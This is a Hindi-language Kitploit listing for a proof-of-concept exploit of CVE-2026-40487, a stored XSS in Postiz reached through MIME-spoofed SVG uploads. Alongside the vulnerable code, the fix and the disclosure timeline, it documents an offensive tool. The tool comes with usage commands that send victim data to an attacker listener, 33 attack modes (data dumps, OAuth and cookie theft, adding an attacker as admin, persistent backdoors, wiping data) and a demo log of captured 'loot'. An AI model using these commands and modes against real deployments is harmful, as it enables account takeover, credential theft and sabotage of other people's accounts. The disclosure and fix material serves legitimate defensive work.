Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40487 — CVE-2026-40487 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MIME स्पूफिंग के माध्यम से मनमाना फ़ाइल अपलोड प्रदर्शित करता है, जिससे Postiz में संग्रहीत XSS और खाता अधिग्रहण होता है। डेटा एक्सफ़िल्ट्रेशन, विशेषाधिकार वृद्धि और स्थिरता के लिए कई आक्रमण मोड शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/astaruf/cve-2026-40487
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubastaruf/cve-2026-40487

CVE-2026-40487

CVE-2026-40487 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो MIME स्पूफिंग के माध्यम से मनमाना फ़ाइल अपलोड प्रदर्शित करता है, जिससे Postiz में संग्रहीत XSS और खाता अधिग्रहण होता है। डेटा एक्सफ़िल्ट्रेशन, विशेषाधिकार वृद्धि और स्थिरता के लिए कई आक्रमण मोड शामिल हैं।

रिपॉजिटरी देखें
34 महीने पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-40487 - Postiz <= 2.21.5 - MIME-प्रकार स्पूफिंग के माध्यम से मनमाना फ़ाइल अपलोड से संग्रहीत XSS से खाता अधिग्रहण

खोज एवं रिपोर्ट: Astaruf

पूर्ण विवरण: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

GHSA प्रविष्टि: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-40487


सारांश

Postiz एक ओपन-सोर्स सोशल मीडिया प्रबंधन उपकरण है जिसमें 28+ प्लेटफ़ॉर्म एकीकरण (Instagram, X, LinkedIn, Facebook, TikTok, आदि) हैं, जिसका उपयोग इंटरनेट पर उजागर 600+ इंस्टेंस द्वारा किया जाता है।

एक निम्न-विशेषाधिकार प्राप्त हमलावर स्पूफ किए गए Content-Type: image/png हेडर के साथ एक दुर्भावनापूर्ण SVG (या HTML) फ़ाइल अपलोड कर सकता है। सर्वर वास्तविक सामग्री की जाँच किए बिना फ़ाइल स्वीकार कर लेता है, मूल एक्सटेंशन को संरक्षित रखता है, और nginx उस एक्सटेंशन (image/svg+xml) से प्राप्त Content-Type के साथ इसे परोसता है। जब पीड़ित URL खोलता है, तो एम्बेडेड JavaScript एप्लिकेशन के ओरिजिन में निष्पादित होता है, जिससे हमलावर को पूर्ण सत्र नियंत्रण क्षमताएँ मिलती हैं जो खाता अधिग्रहण के बराबर हैं।

हमले की श्रृंखला:

root@kitploit:~
हमलावर Content-Type: image/png के साथ .svg अपलोड करता है
  -> सर्वर केवल Content-Type हेडर को मान्य करता है (CWE-345)
    -> फ़ाइल मूल .svg एक्सटेंशन के साथ डिस्क पर सहेजी जाती है (CWE-434)
      -> nginx इसे image/svg+xml के रूप में परोसता है
        -> ब्राउज़र एम्बेडेड JavaScript निष्पादित करता है (CWE-79)
          -> समान-ओरिजिन: पीड़ित के सत्र तक पूर्ण पहुँच

प्रभाव

XSS पेलोड एप्लिकेशन के साथ समान-ओरिजिन में निष्पादित होता है। भले ही प्रमाणीकरण कुकी HttpOnly हो, fetch() credentials: "include" के साथ स्वचालित रूप से इसे संलग्न करता है। हमलावर यह कर सकता है:

  • पीड़ित की प्रोफ़ाइल, API कुंजियाँ, सभी कनेक्टेड सोशल खातों के OAuth टोकन निकालना
  • सभी प्लेटफ़ॉर्म पर निर्धारित पोस्ट पढ़ना, बनाना, संशोधित करना और हटाना
  • पीड़ित के संगठन में हमलावर को व्यवस्थापक के रूप में आमंत्रित करना
  • एक स्थायी OAuth बैकडोर बनाना (pos_* टोकन जो कभी समाप्त नहीं होता और पासवर्ड परिवर्तन से बच जाता है)
  • सूचनाएँ अक्षम करना, कॉन्फ़िगरेशन मिटाना, लॉगआउट के लिए बाध्य करना
  • पीड़ित के रूप में मनमाने प्रमाणित API कॉल निष्पादित करना

भेद्यता विवरण

तीन घटक स्वतंत्र रूप से विफल होते हैं, जिससे शोषण श्रृंखला बनती है:

1. MIME-प्रकार सत्यापन क्लाइंट इनपुट पर भरोसा करता है (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype मल्टीपार्ट अनुरोध में Content-Type हेडर से आता है, जिसे हमलावर नियंत्रित करता है। कोई मैजिक बाइट निरीक्षण नहीं, file-type जैसी लाइब्रेरी का कोई उपयोग नहीं।

2. मूल एक्सटेंशन डिस्क पर संरक्षित रहता है (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) क्लाइंट-आपूर्ति फ़ाइलनाम से एक्सटेंशन निकालता है। घोषित MIME प्रकार और एक्सटेंशन के बीच स्थिरता की कोई जाँच नहीं। सर्वर प्रतिक्रिया में पूर्ण सार्वजनिक URL भी लौटाता है, इसलिए हमलावर को पीड़ित को भेजने के लिए लिंक मिल जाता है।

3. nginx एक्सटेंशन-व्युत्पन्न Content-Type के साथ परोसता है

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

nginx .svg को image/svg+xml, .html को text/html में मैप करता है। कोई Content-Security-Policy नहीं, कोई X-Content-Type-Options: nosniff नहीं, कोई Content-Disposition: attachment नहीं।

प्रमाण की अवधारणा

आवश्यकताएँ

root@kitploit:~
Python 3.8+
pip install requests

त्वरित प्रारंभ

root@kitploit:~
# 1. जाँचें कि लक्ष्य भेद्य है या नहीं
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. पीड़ित से सब कुछ निकालें
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. एक स्थायी बैकडोर बनाएं
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. क्रेडेंशियल के बिना टोकन का पुन: उपयोग करें
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

हमले का प्रवाह

root@kitploit:~
हमलावर                    सर्वर Postiz              पीड़ित
    |                              |                        |
    |-- 1. लॉगिन/पंजीकरण -------->|                        |
    |-- 2. दुर्भावनापूर्ण SVG अपलोड --->|                        |
    |<---- फ़ाइल का URL -----------|                        |
    |-- 3. URL पीड़ित को भेजें --------------------------->  |
    |                              |<--- 4. URL खोलता है ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS निष्पादित होता है, डेटा निकालता है -----------|

सभी हमले मोड (33)

डेटा निष्कर्षण (19 मोड) - पीड़ित का डेटा चुराएं
मोडविवरण
dump-selfपीड़ित की प्रोफ़ाइल, संगठन जानकारी, टियर, API कुंजी
dump-personalप्रदर्शन नाम, बायो, प्रोफ़ाइल चित्र
dump-integrationsकनेक्टेड सोशल मीडिया एकीकरण और टोकन
dump-postsनिर्धारित और ड्राफ्ट पोस्ट (पिछले 365 दिन)
dump-teamटीम सदस्य, भूमिकाएँ और ईमेल पते
dump-mediaमीडिया लाइब्रेरी सूची
dump-notificationsसूचना इतिहास
dump-signaturesपोस्ट हस्ताक्षर
dump-webhooksकॉन्फ़िगर किए गए वेबहुक और उनके URL
dump-oauth-appOAuth ऐप क्रेडेंशियल (clientId, secret)
dump-copilotAI कोपायलट वार्तालाप थ्रेड
dump-billingबिलिंग और सदस्यता जानकारी
dump-settingsशॉर्टलिंक और सूचना सेटिंग्स
dump-third-partyतृतीय-पक्ष एकीकरण कॉन्फ़िगरेशन
dump-autopostऑटोपोस्ट नियम
dump-setsसामग्री सेट
dump-tagsपोस्ट टैग
dump-customersग्राहक सूची
full-dumpउपरोक्त सभी एक ही पेलोड में
विशेषाधिकार वृद्धि (3 मोड)
मोडविवरण
add-adminपीड़ित के संगठन में हमलावर को ADMIN के रूप में आमंत्रित करें (--attacker-email)
rotate-keyसंगठन API कुंजी घुमाएं और उसे निकालें
rotate-oauthOAuth ऐप सीक्रेट घुमाएं और उसे निकालें
तोड़फोड़ (9 मोड) - विनाशकारी क्रियाएँ
मोडविवरण
kill-notificationsसभी ईमेल सूचनाएँ अक्षम करें
edit-profileपीड़ित का नाम और बायो संशोधित करें (--edit-name, --edit-bio)
wipe-signaturesसभी पोस्ट हस्ताक्षर हटाएं
wipe-webhooksसभी वेबहुक हटाएं
wipe-tagsसभी टैग हटाएं
wipe-setsसभी सामग्री सेट हटाएं
wipe-autopostसभी ऑटोपोस्ट नियम हटाएं
logout-victimपीड़ित को जबरन लॉगआउट करें
delete-oauth-appपीड़ित का OAuth एप्लिकेशन हटाएं
बैकडोर (2 मोड) - स्थायी पहुँच
मोडविवरण
create-oauth-appOAuth ऐप बनाएं, स्वतः-अनुमोदन करें, स्थायी pos_* टोकन निकालें (--oauth-redirect)
steal-cookiedocument.cookie के माध्यम से प्रमाणीकरण JWT चुराएं (जब NOT_SECURED=true)
सामान्य (2 मोड) - उन्नत
मोडविवरण
api-callमनमाना प्रमाणित API कॉल (--api-method, --api-path, --api-body)
customमनमाना JavaScript निष्पादित करें (--custom-js)

अतिरिक्त विकल्प

विकल्पविवरण
--checkजाँचें कि लक्ष्य भेद्य है या नहीं (कोई हमला निष्पादित नहीं)
--registerलॉगिन से पहले नया खाता पंजीकृत करें
-t / --tokenक्रेडेंशियल के बजाय API कुंजी या pos_* टोकन का उपयोग करें
--format htmlSVG के बजाय HTML पेलोड का उपयोग करें
--proxyHTTP/SOCKS प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें (जैसे Burp Suite)
-o / --outputलूट को JSON फ़ाइल में सहेजें

डेमो

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — MIME-स्पूफ्ड फ़ाइल अपलोड के माध्यम से संग्रहीत XSS

[*] [email protected] के रूप में लॉगिन हो रहा है ...
[+] प्रमाणित।
[*] पेलोड उत्पन्न करना: एक ही पेलोड में सब कुछ निकालें
[*] Content-Type: image/png के साथ दुर्भावनापूर्ण .svg अपलोड करना ...
[+] अपलोड सफल।
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    पथ: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 0.0.0.0:8888 पर निष्कर्षण श्रोता प्रारंभ करना ...

=================================================================
  यह URL पीड़ित को भेजें:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] पीड़ित के लिंक खोलने की प्रतीक्षा कर रहा है ...

[+] लूट प्राप्त @ 2026-04-15 03:45:41
    टैग: victim-profile
    डेटा: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] लूट प्राप्त @ 2026-04-15 03:45:41
    टैग: integrations
    डेटा: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] लूट प्राप्त @ 2026-04-15 03:45:42
    टैग: team-members
    डेटा: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

समाधान

संस्करण 2.21.6 में तीन परिवर्तन पेश किए गए:

  1. मैजिक बाइट सत्यापन वास्तविक फ़ाइल सामग्री का निरीक्षण करने के लिए file-type लाइब्रेरी का उपयोग करके
  2. स्पष्ट MIME प्रकार अनुमत सूची (कोई और image/* कैच-ऑल नहीं)
  3. एक्सटेंशन ओवरराइड पहचानी गई सामग्री प्रकार के आधार पर

समयरेखा

तिथिघटना
2026-04-10स्रोत कोड समीक्षा के दौरान भेद्यता की खोज
2026-04-10GitHub सुरक्षा सलाहकार (GHSA) के माध्यम से रिपोर्ट
2026-04-10डेवलपर्स ने स्वीकार किया और स्पष्टीकरण का अनुरोध किया
2026-04-10विस्तृत हमले परिदृश्य और Shodan डेटा प्रदान किया गया
2026-04-11साक्ष्य के साथ CVSS विवाद प्रस्तुत किया गया
2026-04-13v2.21.6 में समाधान जारी किया गया
2026-04-14CVE-2026-40487 निर्दिष्ट किया गया
2026-04-15सार्वजनिक प्रकटीकरण

संदर्भ

  • पूर्ण Astaruf विवरण
  • CVE-2026-40487 - GHSA सुरक्षा सलाहकार
  • CVE-2026-40487 - NVD प्रविष्टि
  • Postiz - आधिकारिक रिपॉजिटरी
  • Postiz v2.21.6 - समाधान रिलीज़
  • CWE-345: डेटा प्रामाणिकता का अपर्याप्त सत्यापन
  • CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड
  • CWE-79: संग्रहीत क्रॉस-साइट स्क्रिप्टिंग
  • OWASP - अप्रतिबंधित फ़ाइल अपलोड

अस्वीकरण

यह उपकरण अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।

लाइसेंस

MIT

टूल डाउनलोड करें